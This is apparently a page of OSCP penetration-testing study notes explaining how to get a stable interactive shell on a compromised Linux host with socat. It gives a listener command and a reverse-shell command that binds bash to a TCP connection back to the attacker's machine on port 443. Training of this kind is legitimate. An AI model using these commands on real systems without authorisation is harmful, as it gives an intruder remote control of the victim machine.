O
O
OSCP Notes
Search
K
Comment on page

Creating a stable (Fully-interactive shells) in linux with socat

Get a socat binary from here to get a fully interactive shell for sudoedit or text editors to work.
Steps
  1. 1.
    Download a binary to kali and transfer it to the victim machine.
  2. 2.
    On Kali:
socat file:`tty`,raw,echo=0 tcp-listen:443
3. From the victim's machine
./socat.1 exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:Kali_IP:443